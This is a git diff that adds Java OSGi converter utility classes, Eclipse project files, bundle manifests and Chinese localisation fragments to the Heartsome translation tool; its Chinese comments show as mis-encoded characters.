b/hsconverter/net.heartsome.cat.converter/src/net/heartsome/cat/converter/util/ConverterRegister.java new file mode 100644 index 0000000..50423e5 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter/src/net/heartsome/cat/converter/util/ConverterRegister.java @@ -0,0 +1,78 @@ +/** + * ConverterRegister.java + * + * Version information : + * + * Date:Jan 14, 2010 + * + * Copyright notice : + */ +package net.heartsome.cat.converter.util; + +import java.util.Dictionary; +import java.util.Hashtable; +import java.util.Properties; + +import net.heartsome.cat.converter.Converter; + +import org.osgi.framework.BundleContext; +import org.osgi.framework.ServiceRegistration; + +/** + * The Class ConverterRegister. + * @author John Zhu + * @version + * @since JDK1.5 + */ +public final class ConverterRegister { + + /** + * Instantiates a new converter register. + */ + private ConverterRegister() { + // prevent instance + } + + /** + * 注册正å‘转æ¢çš„转æ¢å™¨å¸®åŠ©ç±». + * @param context + * the context + * @param convert + * the convert + * @param properties + * the properties + * @return the service registration + */ + public static ServiceRegistration registerPositiveConverter(BundleContext context, Converter convert, + Properties properties) { + properties.put(Converter.ATTR_DIRECTION, Converter.DIRECTION_POSITIVE); + return context.registerService(Converter.class.getName(), convert, getDictByProperties(properties)); + } + + /** + * 注册åå‘转æ¢çš„转æ¢å™¨å¸®åŠ©ç±». + * @param context + * the context + * @param convert + * the convert + * @param properties + * the properties + * @return the service registration + */ + public static ServiceRegistration registerReverseConverter(BundleContext context, Converter convert, + Properties properties) { + properties.put(Converter.ATTR_DIRECTION, Converter.DIRECTION_REVERSE); + return context.registerService(Converter.class.getName(), convert, getDictByProperties(properties)); + } + + private static Dictionary getDictByProperties(Properties properties){ + Dictionary dict = new Hashtable(); + for (Object key : properties.keySet()){ + String strKey = (String)key; + Object strValue = properties.get(strKey); + dict.put(strKey, strValue); + } + return dict; + } + +} diff --git a/hsconverter/net.heartsome.cat.converter/src/net/heartsome/cat/converter/util/ConverterTracker.java b/hsconverter/net.heartsome.cat.converter/src/net/heartsome/cat/converter/util/ConverterTracker.java new file mode 100644 index 0000000..cf88edb --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter/src/net/heartsome/cat/converter/util/ConverterTracker.java @@ -0,0 +1,260 @@ +/** + * ConverterTracker.java + * + * Version information : + * + * Date:Jan 14, 2010 + * + * Copyright notice : + */ +package net.heartsome.cat.converter.util; + +import java.util.ArrayList; +import java.util.Iterator; +import java.util.List; +import java.util.Map; + +import net.heartsome.cat.converter.Converter; + +import org.osgi.framework.BundleContext; +import org.osgi.framework.Constants; +import org.osgi.framework.Filter; +import org.osgi.framework.InvalidSyntaxException; +import org.osgi.framework.ServiceReference; +import org.osgi.util.tracker.ServiceTracker; +import org.osgi.util.tracker.ServiceTrackerCustomizer; + +/** + * The Class ConverterTracker. 跟踪目å‰æ‰€æ”¯æŒçš„转æ¢å™¨åˆ—表,并进行动æ€æ›´æ–°ã€‚ 客户端需è¦ç»§æ‰¿æ­¤ç±»ï¼Œå¹¶å®žçŽ°convert方法处ç†è½¬æ¢å’Œè½¬æ¢ç»“果。在 + * convert方法里,å¯ä»¥é€šè¿‡ getConvert方法得到当å‰æ‰€éœ€çš„转æ¢å™¨. + * @author cheney + * @version + * @since JDK1.6 + */ +public abstract class ConverterTracker extends AbstractModelObject { + /* set this to true to compile in debug messages */ + /** The Constant DEBUG. */ + protected static final boolean DEBUG = false; + + /** The selected type. */ + protected String selectedType = ""; + + /** The support types. */ + private List supportTypes; + + /** The converter service tracker. */ + private ServiceTracker converterServiceTracker; + + /** The context. */ + private BundleContext context; + + /** The direction. */ + protected String direction; + + /** + * The Constructor. + * @param bundleContext + * æ’件所在的 bundle context + * @param direction + * å–Converter.DIRECTION_POSITIVE或 Converter.DIRECTION_REVERSE + */ + public ConverterTracker(BundleContext bundleContext, String direction) { + this.direction = direction; + supportTypes = new ArrayList(); + this.context = bundleContext; + String filterStr = new AndFilter(new EqFilter(Constants.OBJECTCLASS, Converter.class.getName()), new EqFilter( + Converter.ATTR_DIRECTION, direction)).toString(); + Filter filter = null; + try { + filter = context.createFilter(filterStr); + } catch (InvalidSyntaxException e) { + // ignore the exception + e.printStackTrace(); + } + if (filter != null) { + converterServiceTracker = new ServiceTracker(context, filter, new ConverterCustomizer()); + } + converterServiceTracker.open(); + } + + /** + * Gets the support types. + * @return the support types + */ + public List getSupportTypes() { + return supportTypes; + } + + /** + * Sets the support types. + * @param supportTypes + * the new support types + */ + public void setSupportTypes(List supportTypes) { + this.supportTypes = supportTypes; + firePropertyChange("supportTypes", null, null); + } + + /** + * Gets the selected type. + * @return the selected type + */ + public String getSelectedType() { + return selectedType; + } + + /** + * Sets the selected type. + * @param selectedType + * the new selected type + */ + public void setSelectedType(String selectedType) { + String oldReverseSelected = this.selectedType; + this.selectedType = selectedType; + firePropertyChange("selectedType", oldReverseSelected, this.selectedType); + System.out.println("current selected:" + this.selectedType); + } + + /** + * 获得当å‰è½¬æ¢å™¨çš„转æ¢æ–¹å‘ + * @return ; + */ + public String getDirection() { + return direction; + } + + /** + * Close. + */ + public void close() { + // destroy resources + converterServiceTracker.close(); + } + + /** + * Convert. + * @param parameters + * 转æ¢æ‰€éœ€è¦çš„å‚æ•° Map + * @return the map< string, string> + */ + public abstract Map convert(Map parameters); + + /** + * æ ¹æ®å½“å‰é€‰æ‹©çš„转æ¢å™¨ç±»åž‹å’Œè½¬æ¢æ–¹å‘值获得对应的转æ¢å™¨ã€‚. + * @return 返回当å‰é€‰æ‹©çš„转æ¢å™¨ç±»åž‹ï¼ŒåŠåˆå§‹åŒ–æ­¤ model 的转æ¢æ–¹å‘的值对应的转æ¢å™¨ã€‚如果 type 对应的转æ¢å™¨ä¸å­˜åœ¨ï¼Œåˆ™è¿”回 NULL + */ + public Converter getConverter() { + return getConverter(selectedType); + }; + + /** + * æ ¹æ®æŒ‡å®šçš„type获得对应的转æ¢å™¨ *. + * @param type + * 指定的 type + * @return 返回 type 值,åŠåˆå§‹åŒ–æ­¤ model 的转æ¢æ–¹å‘的值对应的转æ¢å™¨ã€‚如果 type 对应的转æ¢å™¨ä¸å­˜åœ¨ï¼Œåˆ™è¿”回 NULL + */ + public Converter getConverter(String type) { + Converter converter = null; + if (type != null & direction != null) { + ServiceReference[] serviceReferences = converterServiceTracker.getServiceReferences(); + for (int i = 0; i < serviceReferences.length; i++) { + String converterType = (String) serviceReferences[i].getProperty(Converter.ATTR_TYPE); + String converterDirection = (String) serviceReferences[i].getProperty(Converter.ATTR_DIRECTION); + if (type.equals(converterType) && direction.equals(converterDirection)) { + converter = (Converter) converterServiceTracker.getService(serviceReferences[i]); + break; + } + } + } + return converter; + } + + /** + * The Class ConverterCustomizer. + * @author John Zhu + * @version + * @since JDK1.6 + */ + private class ConverterCustomizer implements ServiceTrackerCustomizer { + + /** + * (non-Javadoc). + * @param reference + * the reference + * @return the object + * @see org.osgi.util.tracker.ServiceTrackerCustomizer#addingService(org.osgi.framework.ServiceReference) + */ + public Object addingService(ServiceReference reference) { + Converter converter = (Converter) context.getService(reference); + if (DEBUG) { + System.out.println("-----------------------------------------"); + System.out.println("adding a converter service:" + converter.getName()); + } + synchronized (supportTypes) { + String type = converter.getType(); + boolean isExist = false; + for (ConverterBean bean : supportTypes) { + if (type.equals(bean.getName())) { + isExist = true; + break; + } + } + if (!isExist) { + ConverterBean bean = new ConverterBean(converter.getType(), converter.getTypeName()); + supportTypes.add(bean); + setSupportTypes(supportTypes); + } + } + if (DEBUG) { + System.out.println("-----------------------------------------"); + } + return converter; + } + + /** + * (non-Javadoc). + * @param reference + * the reference + * @param service + * the service + * @see org.osgi.util.tracker.ServiceTrackerCustomizer#modifiedService(org.osgi.framework.ServiceReference, + * java.lang.Object) + */ + public void modifiedService(ServiceReference reference, Object service) { + } + + /** + * (non-Javadoc). + * @param reference + * the reference + * @param service + * the service + * @see org.osgi.util.tracker.ServiceTrackerCustomizer#removedService(org.osgi.framework.ServiceReference, + * java.lang.Object) + */ + public void removedService(ServiceReference reference, Object service) { + Converter converter = (Converter) context.getService(reference); + if (DEBUG) { + System.out.println("-----------------------------------------"); + System.out.println("removing a converter service:" + converter.getName()); + } + + synchronized (supportTypes) { + String type = converter.getType(); + Iterator it = supportTypes.iterator(); + while (it.hasNext()) { + ConverterBean bean = it.next(); + if (type.equals(bean.getName())) { + it.remove(); + setSupportTypes(supportTypes); + } + } + } + if (DEBUG) { + System.out.println("-----------------------------------------"); + } + context.ungetService(reference); + } + } + +} diff --git a/hsconverter/net.heartsome.cat.converter/src/net/heartsome/cat/converter/util/ConverterUtils.java b/hsconverter/net.heartsome.cat.converter/src/net/heartsome/cat/converter/util/ConverterUtils.java new file mode 100644 index 0000000..b60d533 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter/src/net/heartsome/cat/converter/util/ConverterUtils.java @@ -0,0 +1,104 @@ +/** + * ConverterUtils.java + * + * Version information : + * + * Date:Jan 14, 2010 + * + * Copyright notice : + */ +package net.heartsome.cat.converter.util; + +import net.heartsome.cat.converter.ConverterException; + +import org.eclipse.core.runtime.IStatus; +import org.eclipse.core.runtime.Status; + +/** + * The Class ConverterUtils. 转æ¢å·¥å…·ç±»ï¼Œç”¨äºŽè½¬æ¢ä¸­éœ€è¦ç”¨åˆ°çš„一些辅助的é™æ€æ–¹æ³•. + * @author John Zhu + * @version + * @since JDK1.6 + */ +public class ConverterUtils { + + /** + * Instantiates a new data constant. + */ + protected ConverterUtils() { + throw new UnsupportedOperationException(); // prevents calls from subclass + } + + /** + * Throw converter exception. + * @param plugin + * the plugin + * @param message + * the message + * @param e + * the e + * @throws ConverterException + * the converter exception + * @author John Zhu + */ + public static void throwConverterException(String plugin, String message, Throwable e) throws ConverterException { + IStatus status = new Status(IStatus.ERROR, plugin, IStatus.ERROR, message, e); + ConverterException ce = new ConverterException(status); + throw ce; + } + + /** + * Throw converter exception. + * @param plugin + * the plugin + * @param message + * the message + * @throws ConverterException + * the converter exception + * @author John Zhu + * @exception ConverterException + */ + public static void throwConverterException(String plugin, String message) throws ConverterException { + throwConverterException(plugin, message, null); + } + + /** + * 获得当å‰å·²å¤„ç†å­—节数的计算对象 + * @param totalSize + * 字节总数 + * @return ; + */ + public static CalculateProcessedBytes getCalculateProcessedBytes(long totalSize) { + return new CalculateProcessedBytes(totalSize); + } + + /** + * 获得处ç†æŒ‡å®šæ–‡ä»¶è¿›åº¦çš„计算对象 + * @param filePath + * 文件路径 + * @return ; + */ + public static CalculateProcessedBytes getCalculateProcessedBytes(String filePath) { + return new CalculateProcessedBytes(filePath); + } + + /** + * 获得记录逆转æ¢è¿‡ç¨‹ä¸­çš„ä¿¡æ¯è®°å½•å¯¹è±¡ + * @return ; + */ + public static ReverseConversionInfoLogRecord getReverseConversionInfoLogRecord() { + return new ReverseConversionInfoLogRecord(); + } + + /** + * 验è¯æºæ–‡ä»¶ç±»åž‹æ˜¯å¦æ˜¯ OpenOffice å’Œ MSOffice 2007。 + * @param typeName + * @return ; + */ + public static boolean isOpenOfficeOrMSOffice2007(String type) { + if (type == null) { + return false; + } + return type.contains("openoffice") || type.contains("msoffice2007") ||type.contains("msoffice2003") ; + } +} diff --git a/hsconverter/net.heartsome.cat.converter/src/net/heartsome/cat/converter/util/EqFilter.java b/hsconverter/net.heartsome.cat.converter/src/net/heartsome/cat/converter/util/EqFilter.java new file mode 100644 index 0000000..8ceec4c --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter/src/net/heartsome/cat/converter/util/EqFilter.java @@ -0,0 +1,49 @@ +/** + * EqFilter.java + * + * Version information : + * + * Date:Jan 14, 2010 + * + * Copyright notice : + */ +package net.heartsome.cat.converter.util; + +/** + * The Class EqFilter. + * @author John Zhu + * @version + * @since JDK1.6 + */ +public class EqFilter extends FilterBuilder { + + /** The name. */ + private final String name; + + /** The value. */ + private final String value; + + /** + * Instantiates a new eq filter. + * @param name + * the name + * @param value + * the value + */ + public EqFilter(String name, String value) { + this.name = name; + this.value = value; + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.converter.util.FilterBuilder#append(java.lang.StringBuilder) + * @param builder + * @return + */ + @Override + public StringBuilder append(StringBuilder builder) { + return builder.append('(').append(name).append('=').append(value).append(')'); + } + +} diff --git a/hsconverter/net.heartsome.cat.converter/src/net/heartsome/cat/converter/util/FilterBuilder.java b/hsconverter/net.heartsome.cat.converter/src/net/heartsome/cat/converter/util/FilterBuilder.java new file mode 100644 index 0000000..60ed27e --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter/src/net/heartsome/cat/converter/util/FilterBuilder.java @@ -0,0 +1,38 @@ +/** + * FilterBuilder.java + * + * Version information : + * + * Date:Jan 14, 2010 + * + * Copyright notice : + */ +package net.heartsome.cat.converter.util; + +/** + * The Class FilterBuilder. + * @author John Zhu + * @version + * @since JDK1.6 + */ +public abstract class FilterBuilder { + + /** + * (non-Javadoc) + * @see java.lang.Object#toString() + * @return + */ + @Override + public final String toString() { + return append(new StringBuilder()).toString(); + } + + /** + * Append. + * @param builder + * the builder + * @return the string builder + */ + public abstract StringBuilder append(StringBuilder builder); + +} diff --git a/hsconverter/net.heartsome.cat.converter/src/net/heartsome/cat/converter/util/Progress.java b/hsconverter/net.heartsome.cat.converter/src/net/heartsome/cat/converter/util/Progress.java new file mode 100644 index 0000000..f297a33 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter/src/net/heartsome/cat/converter/util/Progress.java @@ -0,0 +1,46 @@ +package net.heartsome.cat.converter.util; + +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.NullProgressMonitor; +import org.eclipse.core.runtime.SubProgressMonitor; + +/** + * ç®¡ç† progress monitor 的帮助类 + * @author cheney + */ +public final class Progress { + + /** + * ç§æœ‰æž„建函数,防止类会外部实例化 + */ + private Progress() { + + } + + /** + * 对 monitor 进行检查,如果为 NULL 则返回NullProgressMonitor + * @param monitor + * @return ; + */ + public static IProgressMonitor getMonitor(IProgressMonitor monitor) { + return monitor == null ? new NullProgressMonitor() : monitor; + } + + /** + * 返回SubProgressMonitor + * @param parent + * @param ticks + * @return ; + */ + public static IProgressMonitor getSubMonitor(IProgressMonitor parent, int ticks) { + return new SubProgressMonitor(getMonitor(parent), ticks, SubProgressMonitor.PREPEND_MAIN_LABEL_TO_SUBTASK); + } + + /** + * 返回NullProgressMonitor + * @return ; + */ + public static IProgressMonitor getMonitor() { + return new NullProgressMonitor(); + } +} diff --git a/hsconverter/net.heartsome.cat.converter/src/net/heartsome/cat/converter/util/ReverseConversionInfoLogRecord.java b/hsconverter/net.heartsome.cat.converter/src/net/heartsome/cat/converter/util/ReverseConversionInfoLogRecord.java new file mode 100644 index 0000000..88f8b97 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter/src/net/heartsome/cat/converter/util/ReverseConversionInfoLogRecord.java @@ -0,0 +1,185 @@ +package net.heartsome.cat.converter.util; + +import java.io.File; + +import net.heartsome.cat.converter.resource.Messages; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +/** + * 在逆转æ¢è¿‡ç¨‹ä¸­ï¼Œè®°å½•æ—¥å¿—的帮助类 + * @author cheney + * @since JDK1.6 + */ +public class ReverseConversionInfoLogRecord { + private static final Logger LOGGER = LoggerFactory.getLogger(ReverseConversionInfoLogRecord.class); + + // 文件转æ¢çš„开始时间 + private long startTime; + + // 转æ¢è¿‡ç¨‹ä¸­ï¼ŒæŸä¸€è½¬æ¢é˜¶æ®µçš„开始时间 + private long tempStartTime; + + // 转æ¢è¿‡ç¨‹ä¸­ï¼ŒæŸä¸€è½¬æ¢é˜¶æ®µçš„结æŸæ—¶é—´ + private long tempEndTime; + + // 文件转æ¢çš„结æŸæ—¶é—´ + private long endTime; + + /** + * 记录转æ¢å¼€å§‹çš„ç›¸å…³ä¿¡æ¯ ; + */ + public void startConversion() { + if (LOGGER.isInfoEnabled()) { + startTime = System.currentTimeMillis(); + LOGGER.info(Messages.getString("util.ReverseConversionInfoLogRecord.logger1"), startTime); + } + } + + /** + * 记录转æ¢è¿‡ç¨‹ä¸­æ¶‰åŠçš„ç›¸å…³æ–‡ä»¶ä¿¡æ¯ + * @param catalogueFile + * catalogue 文件路径 + * @param iniFile + * ini 文件路径 + * @param xliffFile + * xliff 文件路径 + * @param skeletonFile + * 骨架文件路径 ; + */ + public void logConversionFileInfo(String catalogueFile, String iniFile, String xliffFile, String skeletonFile) { + if (LOGGER.isInfoEnabled()) { + long fileSize = 0; + if (catalogueFile != null) { + File temp = new File(catalogueFile); + if (temp.exists()) { + fileSize = temp.length(); + LOGGER.info(Messages.getString("util.ReverseConversionInfoLogRecord.logger2"), fileSize); + } + } + + fileSize = 0; + if (iniFile != null) { + File temp = new File(iniFile); + if (temp.exists()) { + fileSize = temp.length(); + LOGGER.info(Messages.getString("util.ReverseConversionInfoLogRecord.logger3"), fileSize); + } + } + + fileSize = 0; + if (xliffFile != null) { + File temp = new File(xliffFile); + if (temp.exists()) { + fileSize = temp.length(); + LOGGER.info(Messages.getString("util.ReverseConversionInfoLogRecord.logger4"), fileSize); + } + } + + fileSize = 0; + if (skeletonFile != null) { + File temp = new File(skeletonFile); + if (temp.exists()) { + fileSize = temp.length(); + LOGGER.info(Messages.getString("util.ReverseConversionInfoLogRecord.logger5"), fileSize); + } + } + } + } + + /** + * 记录开始加载 catalogue æ–‡ä»¶çš„ç›¸å…³ä¿¡æ¯ ; + */ + public void startLoadingCatalogueFile() { + if (LOGGER.isInfoEnabled()) { + tempStartTime = System.currentTimeMillis(); + LOGGER.info(Messages.getString("util.ReverseConversionInfoLogRecord.logger6"), tempStartTime); + } + } + + /** + * 记录加载完 catalogue æ–‡ä»¶çš„ç›¸å…³ä¿¡æ¯ ; + */ + public void endLoadingCatalogueFile() { + if (LOGGER.isInfoEnabled()) { + tempEndTime = System.currentTimeMillis(); + LOGGER.info(Messages.getString("util.ReverseConversionInfoLogRecord.logger7"), tempEndTime); + LOGGER.info(Messages.getString("util.ReverseConversionInfoLogRecord.logger8"), tempEndTime - tempStartTime); + } + } + + /** + * 记录开始加载 ini æ–‡ä»¶çš„ç›¸å…³ä¿¡æ¯ ; + */ + public void startLoadingIniFile() { + if (LOGGER.isInfoEnabled()) { + tempStartTime = System.currentTimeMillis(); + LOGGER.info(Messages.getString("util.ReverseConversionInfoLogRecord.logger9"), tempStartTime); + } + } + + /** + * 记录加载完 ini æ–‡ä»¶çš„ç›¸å…³ä¿¡æ¯ ; + */ + public void endLoadingIniFile() { + if (LOGGER.isInfoEnabled()) { + tempEndTime = System.currentTimeMillis(); + LOGGER.info(Messages.getString("util.ReverseConversionInfoLogRecord.logger10"), tempEndTime); + LOGGER.info(Messages.getString("util.ReverseConversionInfoLogRecord.logger11"), tempEndTime - tempStartTime); + } + } + + /** + * 记录开始加载 xliff æ–‡ä»¶çš„ç›¸å…³ä¿¡æ¯ ; + */ + public void startLoadingXliffFile() { + if (LOGGER.isInfoEnabled()) { + tempStartTime = System.currentTimeMillis(); + LOGGER.info(Messages.getString("util.ReverseConversionInfoLogRecord.logger12"), tempStartTime); + } + } + + /** + * 记录加载完 xliff æ–‡ä»¶çš„ç›¸å…³ä¿¡æ¯ ; + */ + public void endLoadingXliffFile() { + if (LOGGER.isInfoEnabled()) { + tempEndTime = System.currentTimeMillis(); + LOGGER.info(Messages.getString("util.ReverseConversionInfoLogRecord.logger13"), tempEndTime); + LOGGER.info(Messages.getString("util.ReverseConversionInfoLogRecord.logger14"), tempEndTime - tempStartTime); + } + } + + /** + * è®°å½•å¼€å§‹æ›¿æ¢ skeleton 文件中的 segment æ ‡å¿—ç¬¦ç›¸å…³ä¿¡æ¯ ; + */ + public void startReplacingSegmentSymbol() { + if (LOGGER.isInfoEnabled()) { + tempStartTime = System.currentTimeMillis(); + LOGGER.info(Messages.getString("util.ReverseConversionInfoLogRecord.logger15"), tempStartTime); + } + } + + /** + * 记录替æ¢å®Œ skeleton 文件中的 segment æ ‡å¿—ç¬¦ç›¸å…³ä¿¡æ¯ ; + */ + public void endReplacingSegmentSymbol() { + if (LOGGER.isInfoEnabled()) { + tempEndTime = System.currentTimeMillis(); + LOGGER.info(Messages.getString("util.ReverseConversionInfoLogRecord.logger16"), tempEndTime); + LOGGER.info(Messages.getString("util.ReverseConversionInfoLogRecord.logger17"), tempEndTime - tempStartTime); + } + } + + /** + * 记录转æ¢å®Œæˆç›¸å…³ä¿¡æ¯ ; + */ + public void endConversion() { + if (LOGGER.isInfoEnabled()) { + endTime = System.currentTimeMillis(); + LOGGER.info(Messages.getString("util.ReverseConversionInfoLogRecord.logger18"), endTime); + LOGGER.info(Messages.getString("util.ReverseConversionInfoLogRecord.logger19"), endTime - startTime); + } + } +} diff --git a/hsconverter/net.heartsome.library3/.classpath b/hsconverter/net.heartsome.library3/.classpath new file mode 100644 index 0000000..9b21aa7 --- /dev/null +++ b/hsconverter/net.heartsome.library3/.classpath @@ -0,0 +1,9 @@ + + + + + + + + + diff --git a/hsconverter/net.heartsome.library3/.project b/hsconverter/net.heartsome.library3/.project new file mode 100644 index 0000000..c30f8d5 --- /dev/null +++ b/hsconverter/net.heartsome.library3/.project @@ -0,0 +1,28 @@ + + + net.heartsome.library3 + + + + + + org.eclipse.jdt.core.javabuilder + + + + + org.eclipse.pde.ManifestBuilder + + + + + org.eclipse.pde.SchemaBuilder + + + + + + org.eclipse.pde.PluginNature + org.eclipse.jdt.core.javanature + + diff --git a/hsconverter/net.heartsome.library3/.settings/org.eclipse.jdt.core.prefs b/hsconverter/net.heartsome.library3/.settings/org.eclipse.jdt.core.prefs new file mode 100644 index 0000000..4c9e1cd --- /dev/null +++ b/hsconverter/net.heartsome.library3/.settings/org.eclipse.jdt.core.prefs @@ -0,0 +1,8 @@ +#Fri Jun 11 17:58:05 GMT+08:00 2010 +eclipse.preferences.version=1 +org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled +org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.5 +org.eclipse.jdt.core.compiler.compliance=1.5 +org.eclipse.jdt.core.compiler.problem.assertIdentifier=error +org.eclipse.jdt.core.compiler.problem.enumIdentifier=error +org.eclipse.jdt.core.compiler.source=1.5 diff --git a/hsconverter/net.heartsome.library3/META-INF/MANIFEST.MF b/hsconverter/net.heartsome.library3/META-INF/MANIFEST.MF new file mode 100644 index 0000000..9c3d273 --- /dev/null +++ b/hsconverter/net.heartsome.library3/META-INF/MANIFEST.MF @@ -0,0 +1,19 @@ +Manifest-Version: 1.0 +Bundle-ManifestVersion: 2 +Bundle-Name: Heartsome Library3 +Bundle-SymbolicName: net.heartsome.library3 +Bundle-Version: 3.0.1.R8b_v20130408 +Bundle-ClassPath: resolver.jar, + xercesImpl.jar, + hslibrary3.jar +Export-Package: com.wutka.dtd, + net.heartsome.catalogue, + net.heartsome.dialogs, + net.heartsome.myspell, + net.heartsome.plugins, + net.heartsome.spell, + net.heartsome.util, + net.heartsome.viewers, + net.heartsome.xml +Bundle-RequiredExecutionEnvironment: J2SE-1.5 +Bundle-Vendor: Heartsome Technologies Ltd. diff --git a/hsconverter/net.heartsome.library3/build.properties b/hsconverter/net.heartsome.library3/build.properties new file mode 100644 index 0000000..c382158 --- /dev/null +++ b/hsconverter/net.heartsome.library3/build.properties @@ -0,0 +1,5 @@ +javacDefaultEncoding.. = UTF-8 +bin.includes = resolver.jar,\ + xercesImpl.jar,\ + META-INF/,\ + hslibrary3.jar diff --git a/hsconverter/net.heartsome.library3/hslibrary3.jar b/hsconverter/net.heartsome.library3/hslibrary3.jar new file mode 100644 index 0000000..32842ae Binary files /dev/null and b/hsconverter/net.heartsome.library3/hslibrary3.jar differ diff --git a/hsconverter/net.heartsome.library3/resolver.jar b/hsconverter/net.heartsome.library3/resolver.jar new file mode 100644 index 0000000..073d789 Binary files /dev/null and b/hsconverter/net.heartsome.library3/resolver.jar differ diff --git a/hsconverter/net.heartsome.library3/xercesImpl.jar b/hsconverter/net.heartsome.library3/xercesImpl.jar new file mode 100644 index 0000000..d5f3e98 Binary files /dev/null and b/hsconverter/net.heartsome.library3/xercesImpl.jar differ diff --git a/i18n/net.heartsome.eclipse_i18n.feature/.project b/i18n/net.heartsome.eclipse_i18n.feature/.project new file mode 100644 index 0000000..0f15dc1 --- /dev/null +++ b/i18n/net.heartsome.eclipse_i18n.feature/.project @@ -0,0 +1,17 @@ + + + net.heartsome.eclipse_i18n.feature + + + + + + org.eclipse.pde.FeatureBuilder + + + + + + org.eclipse.pde.FeatureNature + + diff --git a/i18n/net.heartsome.eclipse_i18n.feature/feature.xml b/i18n/net.heartsome.eclipse_i18n.feature/feature.xml new file mode 100644 index 0000000..f0ad015 --- /dev/null +++ b/i18n/net.heartsome.eclipse_i18n.feature/feature.xml @@ -0,0 +1,142 @@ + + + + + Heartsome I18N for Eclipse + + + + Copyright © Heartsome Technologies Ltd. All rights reserved. +版æƒæ‰€æœ‰ © 瀚特盛科技有é™å…¬å¸ ä¿ç•™æ‰€æœ‰æƒåˆ© + + + + Please refer to Heartsome Software End User License Agreement (EULA). +请å‚考 Heartsome 软件最终用户许å¯å议。 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/i18n/org.eclipse.core.net.nl_zh/.classpath b/i18n/org.eclipse.core.net.nl_zh/.classpath new file mode 100644 index 0000000..8727917 --- /dev/null +++ b/i18n/org.eclipse.core.net.nl_zh/.classpath @@ -0,0 +1,6 @@ + + + + + + diff --git a/i18n/org.eclipse.core.net.nl_zh/.project b/i18n/org.eclipse.core.net.nl_zh/.project new file mode 100644 index 0000000..c036455 --- /dev/null +++ b/i18n/org.eclipse.core.net.nl_zh/.project @@ -0,0 +1,28 @@ + + + org.eclipse.core.net.nl_zh + + + + + + org.eclipse.jdt.core.javabuilder + + + + + org.eclipse.pde.ManifestBuilder + + + + + org.eclipse.pde.SchemaBuilder + + + + + + org.eclipse.pde.PluginNature + org.eclipse.jdt.core.javanature + + diff --git a/i18n/org.eclipse.core.net.nl_zh/.settings/org.eclipse.jdt.core.prefs b/i18n/org.eclipse.core.net.nl_zh/.settings/org.eclipse.jdt.core.prefs new file mode 100644 index 0000000..416f4fb --- /dev/null +++ b/i18n/org.eclipse.core.net.nl_zh/.settings/org.eclipse.jdt.core.prefs @@ -0,0 +1,11 @@ +eclipse.preferences.version=1 +org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled +org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.5 +org.eclipse.jdt.core.compiler.codegen.unusedLocal=preserve +org.eclipse.jdt.core.compiler.compliance=1.5 +org.eclipse.jdt.core.compiler.debug.lineNumber=generate +org.eclipse.jdt.core.compiler.debug.localVariable=generate +org.eclipse.jdt.core.compiler.debug.sourceFile=generate +org.eclipse.jdt.core.compiler.problem.assertIdentifier=error +org.eclipse.jdt.core.compiler.problem.enumIdentifier=error +org.eclipse.jdt.core.compiler.source=1.5 diff --git a/i18n/org.eclipse.core.net.nl_zh/META-INF/MANIFEST.MF b/i18n/org.eclipse.core.net.nl_zh/META-INF/MANIFEST.MF new file mode 100644 index 0000000..45b028d --- /dev/null +++ b/i18n/org.eclipse.core.net.nl_zh/META-INF/MANIFEST.MF @@ -0,0 +1,7 @@ +Manifest-Version: 1.0 +Bundle-Name: org.eclipse.core.net Chinese (Simplified) NLS Support +Bundle-SymbolicName: org.eclipse.core.net.nl_zh ;singleton=true +Bundle-Version: 8.0.1.R8b_v20130906 +Bundle-Vendor: Eclipse.org +Fragment-Host: org.eclipse.core.net +Bundle-RequiredExecutionEnvironment: J2SE-1.5 diff --git a/i18n/org.eclipse.core.net.nl_zh/build.properties b/i18n/org.eclipse.core.net.nl_zh/build.properties new file mode 100644 index 0000000..7aaf591 --- /dev/null +++ b/i18n/org.eclipse.core.net.nl_zh/build.properties @@ -0,0 +1,5 @@ +javacDefaultEncoding.. = UTF-8 +source.. = src/ +output.. = bin/ +bin.includes = META-INF/,\ + . diff --git a/i18n/org.eclipse.core.net.nl_zh/src/org/eclipse/core/internal/net/messages_zh.properties b/i18n/org.eclipse.core.net.nl_zh/src/org/eclipse/core/internal/net/messages_zh.properties new file mode 100644 index 0000000..4f0c2b9 --- /dev/null +++ b/i18n/org.eclipse.core.net.nl_zh/src/org/eclipse/core/internal/net/messages_zh.properties @@ -0,0 +1,4 @@ +# Copyright by many contributors; see http://babel.eclipse.org/ +ProxySelector_0=\u76f4\u63a5\u8fde\u63a5\uff08\u4e0d\u4f7f\u7528\u4ee3\u7406\uff09 +ProxySelector_1=\u81ea\u5b9a\u4e49\u4ee3\u7406 +ProxySelector_2=\u7cfb\u7edf\u9ed8\u8ba4\u4ee3\u7406 \ No newline at end of file diff --git a/i18n/org.eclipse.core.resources.nl_zh/.classpath b/i18n/org.eclipse.core.resources.nl_zh/.classpath new file mode 100644 index 0000000..8727917 --- /dev/null +++ b/i18n/org.eclipse.core.resources.nl_zh/.classpath @@ -0,0 +1,6 @@ + + + + + + diff --git a/i18n/org.eclipse.core.resources.nl_zh/.project b/i18n/org.eclipse.core.resources.nl_zh/.project new file mode 100644 index 0000000..bc673da --- /dev/null +++ b/i18n/org.eclipse.core.resources.nl_zh/.project @@ -0,0 +1,28 @@ + + + org.eclipse.core.resources.nl_zh + + + + + + org.eclipse.jdt.core.javabuilder + + + + + org.eclipse.pde.ManifestBuilder + + + + + org.eclipse.pde.SchemaBuilder + + + + + + org.eclipse.pde.PluginNature + org.eclipse.jdt.core.javanature + + diff --git a/i18n/org.eclipse.core.resources.nl_zh/.settings/org.eclipse.jdt.core.prefs b/i18n/org.eclipse.core.resources.nl_zh/.settings/org.eclipse.jdt.core.prefs new file mode 100644 index 0000000..416f4fb --- /dev/null +++ 